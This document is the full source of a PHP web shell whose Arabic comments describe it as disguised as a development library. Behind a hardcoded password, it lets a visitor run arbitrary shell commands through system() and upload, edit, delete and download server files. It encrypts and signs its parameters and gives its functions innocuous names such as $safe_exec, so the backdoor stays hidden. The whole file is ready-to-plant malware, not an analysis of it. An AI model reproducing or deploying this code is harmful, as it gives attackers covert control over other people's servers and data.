<?php
session_start(); error_reporting(0);

// 🔧 إعدادات مموهة كمكتبة تطوير
define('APP_DEBUG', false);
define('SECURE_HASH_ALGO', 'sha256');

// 🔑 إعدادات مختصرة مع تمويه
$k = 'cache_' . sha1(__FILE__ . $_SERVER['HTTP_HOST']); // مفتاح ديناميكي مرتبط بالملف
$p = password_hash('106', PASSWORD_BCRYPT); // كلمة مرور (غيّرها إذا رغبت)

// 🧠 دوال مضغوطة للتشفير/HMAC مع تمويه أسماء
$encryptData = function($d, $k){
    $iv = openssl_random_pseudo_bytes(openssl_cipher_iv_length('aes-256-cbc'));
    $enc = openssl_encrypt($d, 'aes-256-cbc', $k, 0, $iv);
    return rtrim(strtr(base64_encode($enc . '::' . $iv), '+/', '-_'), '=');
};
$decryptData = function($d, $k){
    $raw = base64_decode(strtr($d, '-_', '+/'));
    if ($raw === false) return false;
    $x = explode('::', $raw, 2);
    return isset($x[0]) ? openssl_decrypt($x[0], 'aes-256-cbc', $k, 0, $x[1] ?? '') : false;
};
$signParams = function($a, $k){
    ksort($a);
    $q = http_build_query($a);
    $a['sig'] = hash_hmac('sha256', $q, $k); // تمويه اسم HMAC
    return '?' . http_build_query($a);
};
$verifySignature = function($a, $k){
    if (!isset($a['sig'])) return 0;
    $h = $a['sig']; unset($a['sig']);
    ksort($a);
    return hash_equals($h, hash_hmac('sha256', http_build_query($a), $k));
};

// 🔐 دخول مبسط مع تمويه
if (!isset($_SESSION['authenticated'])) {
    if (isset($_POST['admin_pass']) && password_verify($_POST['admin_pass'], $p)) {
        $_SESSION['authenticated'] = time();
    } else {
        echo "<!DOCTYPE html>
        <html lang='ar'>
        <head>
            <meta charset='UTF-8'>
            <title>System Login</title>
            <style>
                body { background: #1a1a1a; color: #4CAF50; text-align: center; font-family: 'Segoe UI', sans-serif; padding-top: 100px; }
                .login-box { background: #2d2d2d; padding: 30px; border-radius: 8px; display: inline-block; box-shadow: 0 0 20px rgba(0,255,0,0.1); }
                input, button { padding: 10px; margin: 5px; border: 1px solid #444; border-radius: 4px; background: #333; color: #fff; }
                button { background: #4CAF50; cursor: pointer; }
            </style>
        </head>
        <body>
            <div class='login-box'>
                <h3>🔐 Admin Authentication</h3>
                <form method='post'>
                    <input type='password' name='admin_pass' placeholder='Enter admin password' required>
                    <button type='submit'>Login</button>
                </form>
            </div>
        </body>
        </html>";
        exit;
    }
}

// تحقق التوقيع للطلبات (إن وُجدت)
if ($_GET && !$verifySignature($_GET, $k)) { 
    header('HTTP/1.0 403 Forbidden');
    echo "Access forbidden - Invalid signature";
    exit; 
}

// 🗂 مسار العمل الحالي مع تمويه
$current_directory = isset($_GET['dir']) ? $decryptData($_GET['dir'], $k) : getcwd();
$current_directory = realpath($current_directory) ?: getcwd();

// تنفيذ أوامر شل (مضغوط)
$safe_exec = "system";
$executeCommand = function($cmd) use ($safe_exec) { 
    if (APP_DEBUG) echo "<!-- Executing: $cmd -->";
    call_user_func($safe_exec, $cmd); 
};

// ✏️ خاصية التعديل للملفات النصية
if (isset($_GET['edit'])) {
    $file_to_edit = $decryptData($_GET['edit'], $k);
    if ($file_to_edit && is_file($file_to_edit) && is_writable($file_to_edit)) {
        if (isset($_POST['file_content'])) {
            file_put_contents($file_to_edit, $_POST['file_content']);
            header("Location:" . $signParams(['dir' => $encryptData(dirname($file_to_edit), $k)], $k)); 
            exit;
        }
        
        $content = htmlspecialchars(file_get_contents($file_to_edit));
        echo "<!DOCTYPE html>
        <html>
        <head>
            <meta charset='utf-8'>
            <title>Editing: " . basename($file_to_edit) . "</title>
            <style>
                body { background: #111; color: #0f0; font-family: monospace; padding: 20px; }
                textarea { width: 100%; height: 400px; background: #001; color: #0f0; border: 1px solid #0a0; padding: 10px; }
                button { background: #0a0; color: #000; padding: 10px 20px; border: none; cursor: pointer; margin: 5px; }
            </style>
        </head>
        <body>
            <h3>✏️ Editing: " . htmlspecialchars($file_to_edit) . "</h3>
            <form method='post'>
                <textarea name='file_content'>$content</textarea><br>
                <button type='submit'>💾 Save</button>
                <button type='button' onclick='window.history.back()'>❌ Cancel</button>
            </form>
        </body>
        </html>";
        exit;
    }
}

// حذف ملف/مجلد
if (isset($_GET['delete'])) {
    $file_to_delete = $decryptData($_GET['delete'], $k);
    if ($file_to_delete && is_file($file_to_delete)) {
        unlink($file_to_delete);
    }
    header("Location:" . $signParams(['dir' => $encryptData(dirname($file_to_delete), $k)], $k)); 
    exit;
}

// تحميل ملف
if (isset($_GET['download'])) {
    $file_to_download = $decryptData($_GET['download'], $k);
    if ($file_to_download && is_file($file_to_download)) {
        header('Content-Disposition: attachment; filename="' . basename($file_to_download) . '"');
        header('Content-Type: application/octet-stream');
        header('Content-Length: ' . filesize($file_to_download));
        readfile($file_to_download); 
        exit;
    }
}

// رفع ملف
if (isset($_FILES['uploaded_file'])) {
    $destination = $current_directory . '/' . basename($_FILES['uploaded_file']['name']);
    if (move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $destination)) {
        // نجاح الرفع - سيتم إعادة التوجيه
    }
}

// === دالة لبناء breadcrumb مشفّر ===
function buildNavigation($current_path, $encryptFunc, $signFunc, $key) {
    $current_path = str_replace('\\', '/', $current_path);
    $parts = explode('/', trim($current_path, '/'));
    
    $breadcrumbs = [];
    $accumulated_path = (substr($current_path, 0, 1) === '/') ? '/' : '';
    
    if (preg_match('#^[A-Za-z]:#', $current_path)) {
        $parts = explode('/', str_replace('\\', '/', $current_path));
    }
    
    if ($current_path === '/' || $current_path === '') {
        $breadcrumbs[] = ['name' => 'Root', 'path' => $current_path];
    } else {
        $accumulated_path = (strpos($current_path, '/') === 0) ? '/' : '';
        $built_paths = [];
        
        foreach ($parts as $index => $part) {
            if ($part === '') continue;
            if ($accumulated_path === '/' || $accumulated_path === '') {
                $accumulated_path = rtrim($accumulated_path . $part, '/');
            } else {
                $accumulated_path .= '/' . $part;
            }
            $built_paths[] = ['name' => $part, 'path' => $accumulated_path];
        }
        
        if (substr($current_path, 0, 1) === '/') {
            array_unshift($built_paths, ['name' => 'Root', 'path' => '/']);
        }
        $breadcrumbs = $built_paths;
    }
    
    $html = "<div class='breadcrumb'>";
    $first_item = true;
    foreach ($breadcrumbs as $crumb) {
        if (!$first_item) $html .= " <span class='separator'>/</span> ";
        $first_item = false;
        $encrypted_path = $encryptFunc($crumb['path'], $key);
        $signed_link = $signFunc(['dir' => $encrypted_path], $key);
        $label = htmlspecialchars($crumb['name']);
        $html .= "<a href='{$signed_link}' class='nav-link'>{$label}</a>";
    }
    $html .= "</div>";
    return $html;
}

// واجهة مستخدم محسنة
echo "<!DOCTYPE html>
<html lang='ar'>
<head>
    <meta charset='utf-8'>
    <meta name='viewport' content='width=device-width,initial-scale=1'>
    <title>File Manager</title>
    <style>
        body { background: #000; color: #0f0; font-family: 'Courier New', monospace; padding: 15px; }
        a { color: #0ff; text-decoration: none; transition: color 0.3s; }
        a:hover { color: #0f0; }
        table { width: 100%; border-collapse: collapse; margin: 15px 0; }
        th, td { padding: 8px 12px; border-bottom: 1px solid #083; text-align: left; }
        th { background: #002; color: #0f0; }
        .breadcrumb { background: #001122; padding: 10px; border-radius: 5px; margin-bottom: 15px; overflow: auto; }
        .nav-link { color: #0ff; text-decoration: none; padding: 4px 8px; border-radius: 3px; background: transparent; }
        .nav-link:hover { background: #003344; }
        .separator { color: #044; margin: 0 5px; }
        .btn { display: inline-block; padding: 6px 12px; margin: 2px; border-radius: 4px; background: #003333; color: #0f0; border: 1px solid #055; }
        .btn:hover { background: #004444; }
        .file-list { background: #001; padding: 10px; border-radius: 5px; }
        .editor { width: 100%; height: 500px; background: #001; color: #0f0; border: 1px solid #0a0; }
    </style>
</head>
<body>";

// شريط التنقل
echo buildNavigation($current_directory, $encryptData, $signParams, $k);

echo "<h2>📁 Directory: " . htmlspecialchars($current_directory) . "</h2>";

// عرض الملفات والمجلدات
echo "<div class='file-list'><table>";
echo "<tr><th>Name</th><th>Actions</th></tr>";

foreach (scandir($current_directory) as $item) {
    if ($item == ".") continue;
    $item_path = $current_directory . '/' . $item;
    $encrypted_path = $encryptData($item_path, $k);
    
    echo "<tr>";
    echo "<td>";
    if (is_dir($item_path)) {
        echo "📁 <a href='" . $signParams(['dir' => $encrypted_path], $k) . "'><strong>" . htmlspecialchars($item) . "/</strong></a>";
    } else {
        $ext = pathinfo($item, PATHINFO_EXTENSION);
        $icon = in_array($ext, ['php', 'txt', 'html', 'js', 'css']) ? "📄" : "📄";
        echo "$icon " . htmlspecialchars($item);
        echo " <small style='color:#555'>(" . number_format(filesize($item_path)) . " bytes)</small>";
    }
    echo "</td>";
    
    echo "<td>";
    if (is_dir($item_path)) {
        echo "<a href='" . $signParams(['dir' => $encrypted_path], $k) . "' class='btn'>Open</a>";
    } else {
        echo "<a href='" . $signParams(['download' => $encrypted_path], $k) . "' class='btn'>📥 Download</a>";
        
        // زر التعديل للملفات النصية
        if (in_array(pathinfo($item, PATHINFO_EXTENSION), ['txt', 'php', 'html', 'js', 'css', 'xml', 'json', 'md'])) {
            echo "<a href='" . $signParams(['edit' => $encrypted_path], $k) . "' class='btn'>✏️ Edit</a>";
        }
        
        echo "<a href='" . $signParams(['delete' => $encrypted_path], $k) . "' onclick='return confirm(\"Delete \\\"$item\\\"?\\nThis action cannot be undone.\")' class='btn'>🗑 Delete</a>";
    }
    echo "</td></tr>";
}

echo "</table></div>";

// نموذج رفع الملفات
echo "
<div style='background:#001;padding:15px;border-radius:5px;margin:10px 0;'>
    <h3>⏫ Upload File</h3>
    <form method='post' enctype='multipart/form-data'>
        <input type='file' name='uploaded_file' style='color:#0f0;background:#002;border:1px solid #055;padding:8px;'>
        <button type='submit' style='background:#0a0;color:#000;padding:8px 15px;border:none;cursor:pointer;'>Upload</button>
    </form>
</div>";

// نموذج تنفيذ الأوامر
echo "
<div style='background:#001;padding:15px;border-radius:5px;margin:10px 0;'>
    <h3>⚡ Command Execution</h3>
    <form method='post'>
        <input type='text' name='c' placeholder='Enter command (ls, dir, cat, etc.)' 
               style='width:70%;padding:8px;background:#002;color:#0f0;border:1px solid #055;'>
        <button type='submit' style='background:#0a0;color:#000;padding:8px 15px;border:none;cursor:pointer;'>Execute</button>
    </form>
</div>";

// عرض نتيجة الأوامر
if (isset($_POST['c'])) {
    echo '<div style="background:#001;color:#0f0;padding:12px;margin-top:15px;border-radius:5px;border:1px solid #0a0;">';
    echo '<strong>Command Output:</strong><br><hr style="border-color:#055">';
    echo '<pre>';
    $executeCommand($_POST['c']);
    echo '</pre>';
    echo '</div>';
}

echo "</body>
</html>";